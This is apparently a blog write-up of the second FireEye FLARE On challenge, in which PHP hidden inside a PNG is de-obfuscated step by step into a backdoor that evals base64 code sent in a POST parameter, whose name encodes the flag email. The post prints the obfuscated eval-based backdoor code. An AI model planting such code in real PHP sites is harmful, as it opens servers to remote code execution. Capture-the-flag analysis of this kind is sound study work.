Sunday, December 21, 2014

FLARE - Challenge 2


This is the 2nd challenge from FireEye's "FLARE On" challenge (


This time, the zipped file contains what looks like a webpage displaying information about the FLARE On challenge:

Looking through the HTML of the page, nothing looks too out of the ordinary.

Looking at the PNG file, the beginning looks mostly like what you'd expect too:

But if you scroll down towards later in the file, you can see there's some PHP code in there too:

Extracting the PHP code and giving it some friendlier formatting, gives something like this:

Looking back through the HTML file, you can see that there's a PHP include() call that could make a server execute this PHP code while (slightly) disguising it by making it look like it's including an image file.

I replaced the eval() call with an echo, and running it prints out this:

$ php flare-02-php-code.php
$_= \'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\';$__=\'JGNvZGU9YmFzZTY0X2RlY29kZSgkXyk7ZXZhbCgkY29kZSk7\';$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";eval($___($__));

So it looks like some more obfuscated PHP code...

After taking this PHP code, moving it to a new file, replacing the eval() call with an echo that prints the 3 $_ strings, and running it, I got this:

$ php flare-02-php-code2.php


So it looks like it will do this:

This ends up referencing the $_ variable, which ends up decoding to this:

if(isset($_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"])) { eval(base64_decode($_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"])); }

I wrote a quick python script to deobfuscate this string a bit more:

#!/usr/bin/env python3

string = [97, 49, 49, 68, 0x4F, 84, 116, 0x68, 97, 0x74, 0x44, 0x4F, 0x54, 0x6A, 97, 0x76, 0x61, 0x35, 0x63, 0x72, 97, 0x70, 0x41, 84, 0x66, 0x6C, 97, 0x72, 0x65, 0x44, 65, 0x53, 72, 111, 110, 68, 79, 84, 99, 0x6F, 0x6D]

print("".join(map(chr, string)))

Running it gives this:

$ python

That looks like the email address we are looking for!

No comments:

Post a Comment